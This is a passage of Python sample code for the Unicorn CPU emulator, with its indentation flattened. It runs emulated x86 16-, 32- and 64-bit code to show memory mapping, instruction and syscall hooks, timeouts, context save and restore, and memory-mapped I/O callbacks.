def test_i386_jump_invalid():
print("Emulate i386 code that jumps to invalid memory")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32_JMP_INVALID)
# initialize machine registers
mu.reg_write(UC_X86_REG_ECX, 0x1234)
mu.reg_write(UC_X86_REG_EDX, 0x7890)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
try:
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_JMP_INVALID))
except UcError as e:
print("Failed on uc_emu_start() with error returned 8: %s" % e)
print(">>> Emulation done. Below is the CPU context")
r_ecx = mu.reg_read(UC_X86_REG_ECX)
r_edx = mu.reg_read(UC_X86_REG_EDX)
print(">>> ECX = 0x%x" % r_ecx)
print(">>> EDX = 0x%x" % r_edx)
except UcError as e:
print("ERROR %s" % e)
def test_i386_loop():
print("Emulate i386 code that loop forever")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32_LOOP)
# initialize machine registers
mu.reg_write(UC_X86_REG_ECX, 0x1234)
mu.reg_write(UC_X86_REG_EDX, 0x7890)
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_LOOP), timeout=2 * UC_SECOND_SCALE)
print(">>> Emulation done. Below is the CPU context")
r_ecx = mu.reg_read(UC_X86_REG_ECX)
r_edx = mu.reg_read(UC_X86_REG_EDX)
print(">>> ECX = 0x%x" % r_ecx)
print(">>> EDX = 0x%x" % r_edx)
except UcError as e:
print("ERROR: %s" % e)
# Test X86 32 bit with IN/OUT instruction
def test_i386_inout():
print("Emulate i386 code with IN/OUT instructions")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE32_INOUT)
# initialize machine registers
mu.reg_write(UC_X86_REG_EAX, 0x1234)
mu.reg_write(UC_X86_REG_ECX, 0x6789)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions with customized callback
mu.hook_add(UC_HOOK_CODE, hook_code)
# handle IN & OUT instruction
mu.hook_add(UC_HOOK_INSN, hook_in, None, 1, 0, UC_X86_INS_IN)
mu.hook_add(UC_HOOK_INSN, hook_out, None, 1, 0, UC_X86_INS_OUT)
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE32_INOUT))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
r_ecx = mu.reg_read(UC_X86_REG_ECX)
r_eax = mu.reg_read(UC_X86_REG_EAX)
print(">>> EAX = 0x%x" % r_eax)
print(">>> ECX = 0x%x" % r_ecx)
except UcError as e:
print("ERROR: %s" % e)
def test_i386_context_save():
print("Save/restore CPU context in opaque blob")
address = 0
code = b'\x40' # inc eax
try:
# Initialize emulator
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 8KB memory for this emulation
mu.mem_map(address, 8 * 1024, UC_PROT_ALL)
# write machine code to be emulated to memory
mu.mem_write(address, code)
# set eax to 1
mu.reg_write(UC_X86_REG_EAX, 1)
print(">>> Running emulation for the first time")
mu.emu_start(address, address + 1)
print(">>> Emulation done. Below is the CPU context")
print(">>> EAX = 0x%x" % (mu.reg_read(UC_X86_REG_EAX)))
print(">>> Saving CPU context")
saved_context = mu.context_save()
print(">>> Pickling CPU context")
pickled_saved_context = pickle.dumps(saved_context)
print(">>> Running emulation for the second time")
mu.emu_start(address, address + 1)
print(">>> Emulation done. Below is the CPU context")
print(">>> EAX = 0x%x" % (mu.reg_read(UC_X86_REG_EAX)))
print(">>> Unpickling CPU context")
saved_context = pickle.loads(pickled_saved_context)
print(">>> Modifying some register.")
saved_context.reg_write(UC_X86_REG_EAX, 0xc8c8)
print(">>> CPU context restored. Below is the CPU context")
mu.context_restore(saved_context)
print(">>> EAX = 0x%x" % (mu.reg_read(UC_X86_REG_EAX)))
except UcError as e:
print("ERROR: %s" % e)
def test_x86_64():
print("Emulate x86_64 code")
try:
# Initialize emulator in X86-64bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_64)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE64)
# initialize machine registers
mu.reg_write(UC_X86_REG_RAX, 0x71f3029efd49d41d)
mu.reg_write(UC_X86_REG_RBX, 0xd87b45277f133ddb)
mu.reg_write(UC_X86_REG_RCX, 0xab40d1ffd8afc461)
mu.reg_write(UC_X86_REG_RDX, 0x919317b4a733f01)
mu.reg_write(UC_X86_REG_RSI, 0x4c24e753a17ea358)
mu.reg_write(UC_X86_REG_RDI, 0xe509a57d2571ce96)
mu.reg_write(UC_X86_REG_R8, 0xea5b108cc2b9ab1f)
mu.reg_write(UC_X86_REG_R9, 0x19ec097c8eb618c1)
mu.reg_write(UC_X86_REG_R10, 0xec45774f00c5f682)
mu.reg_write(UC_X86_REG_R11, 0xe17e9dbec8c074aa)
mu.reg_write(UC_X86_REG_R12, 0x80f86a8dc0f6d457)
mu.reg_write(UC_X86_REG_R13, 0x48288ca5671c5492)
mu.reg_write(UC_X86_REG_R14, 0x595f72f6e4017f6e)
mu.reg_write(UC_X86_REG_R15, 0x1efd97aea331cccc)
# setup stack
mu.reg_write(UC_X86_REG_RSP, ADDRESS + 0x200000)
# tracing all basic blocks with customized callback
mu.hook_add(UC_HOOK_BLOCK, hook_block)
# tracing all instructions in range [ADDRESS, ADDRESS+20]
mu.hook_add(UC_HOOK_CODE, hook_code64, None, ADDRESS, ADDRESS + 20)
# tracing all memory READ & WRITE access
mu.hook_add(UC_HOOK_MEM_WRITE, hook_mem_access)
mu.hook_add(UC_HOOK_MEM_READ, hook_mem_access)
# actually you can also use READ_WRITE to trace all memory access
# mu.hook_add(UC_HOOK_MEM_READ | UC_HOOK_MEM_WRITE, hook_mem_access)
try:
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE64))
except UcError as e:
print("ERROR: %s" % e)
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
rax = mu.reg_read(UC_X86_REG_RAX)
rbx = mu.reg_read(UC_X86_REG_RBX)
rcx = mu.reg_read(UC_X86_REG_RCX)
rdx = mu.reg_read(UC_X86_REG_RDX)
rsi = mu.reg_read(UC_X86_REG_RSI)
rdi = mu.reg_read(UC_X86_REG_RDI)
r8 = mu.reg_read(UC_X86_REG_R8)
r9 = mu.reg_read(UC_X86_REG_R9)
r10 = mu.reg_read(UC_X86_REG_R10)
r11 = mu.reg_read(UC_X86_REG_R11)
r12 = mu.reg_read(UC_X86_REG_R12)
r13 = mu.reg_read(UC_X86_REG_R13)
r14 = mu.reg_read(UC_X86_REG_R14)
r15 = mu.reg_read(UC_X86_REG_R15)
print(">>> RAX = 0x%x" % rax)
print(">>> RBX = 0x%x" % rbx)
print(">>> RCX = 0x%x" % rcx)
print(">>> RDX = 0x%x" % rdx)
print(">>> RSI = 0x%x" % rsi)
print(">>> RDI = 0x%x" % rdi)
print(">>> R8 = 0x%x" % r8)
print(">>> R9 = 0x%x" % r9)
print(">>> R10 = 0x%x" % r10)
print(">>> R11 = 0x%x" % r11)
print(">>> R12 = 0x%x" % r12)
print(">>> R13 = 0x%x" % r13)
print(">>> R14 = 0x%x" % r14)
print(">>> R15 = 0x%x" % r15)
except UcError as e:
print("ERROR: %s" % e)
def test_x86_64_syscall():
print("Emulate x86_64 code with 'syscall' instruction")
try:
# Initialize emulator in X86-64bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_64)
# map 2MB memory for this emulation
mu.mem_map(ADDRESS, 2 * 1024 * 1024)
# write machine code to be emulated to memory
mu.mem_write(ADDRESS, X86_CODE64_SYSCALL)
def hook_syscall(mu, user_data):
rax = mu.reg_read(UC_X86_REG_RAX)
if rax == 0x100:
mu.reg_write(UC_X86_REG_RAX, 0x200)
else:
print('ERROR: was not expecting rax=%d in syscall' % rax)
# hook interrupts for syscall
mu.hook_add(UC_HOOK_INSN, hook_syscall, None, 1, 0, UC_X86_INS_SYSCALL)
# syscall handler is expecting rax=0x100
mu.reg_write(UC_X86_REG_RAX, 0x100)
try:
# emulate machine code in infinite time
mu.emu_start(ADDRESS, ADDRESS + len(X86_CODE64_SYSCALL))
except UcError as e:
print("ERROR: %s" % e)
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
rax = mu.reg_read(UC_X86_REG_RAX)
print(">>> RAX = 0x%x" % rax)
except UcError as e:
print("ERROR: %s" % e)
def test_x86_16():
print("Emulate x86 16-bit code")
try:
# Initialize emulator in X86-16bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_16)
# map 8KB memory for this emulation
mu.mem_map(0, 8 * 1024)
# set CPU registers
mu.reg_write(UC_X86_REG_EAX, 7)
mu.reg_write(UC_X86_REG_EBX, 5)
mu.reg_write(UC_X86_REG_ESI, 6)
# write machine code to be emulated to memory
mu.mem_write(0, X86_CODE16)
# emulate machine code in infinite time
mu.emu_start(0, len(X86_CODE16))
# now print out some registers
print(">>> Emulation done. Below is the CPU context")
tmp = mu.mem_read(11, 1)
print(">>> Read 1 bytes from [0x%x] = 0x%x" % (11, tmp[0]))
except UcError as e:
print("ERROR: %s" % e)
def mmio_read_cb(uc, offset, size, data):
print(f">>> Read IO memory at offset {hex(offset)} with {hex(size)} bytes and return 0x19260817")
return 0x19260817
def mmio_write_cb(uc, offset, size, value, data):
print(f">>> Write value {hex(value)} to IO memory at offset {hex(offset)} with {hex(size)} bytes")
def test_i386_mmio():
print("Test i386 IO memory")
try:
# Initialize emulator in X86-32bit mode
mu = Uc(UC_ARCH_X86, UC_MODE_32)
# map 8KB memory for this emulation and write the code
mu.mem_map(0x10000, 0x8000)
mu.mem_write(0x10000, X86_MMIO_CODE)
# map the IO memory
mu.mmio_map(0x20000, 0x4000, mmio_read_cb, None, mmio_write_cb, None)
# prepare registers.
mu.reg_write(UC_X86_REG_ECX, 0xdeadbeef)
# emulate machine code in infinite time
mu.emu_start(0x10000, 0x10000 + len(X86_MMIO_CODE))
# now print out some registers
print(f">>> Emulation done. ECX={hex(mu.reg_read(UC_X86_REG_ECX))}")
except UcError as e:
print("ERROR: %s" % e)
if __name__ == '__main__':
test_x86_16()
test_i386()
print("=" * 35)
test_i386_map_ptr()
print("=" * 35)
test_i386_inout()
print("=" * 35)
test_i386_context_save()
print("=" * 35)
test_i386_jump()
print("=" * 35)
test_i386_loop()
print("=" * 35)
test_i386_invalid_mem_read()
print("=" * 35)
test_i386_invalid_mem_write()
print("=" * 35)
test_i386_jump_invalid()
test_x86_64()
print("=" * 35)
test_x86_64_syscall()
print("=" * 35)
test_i386_mmio()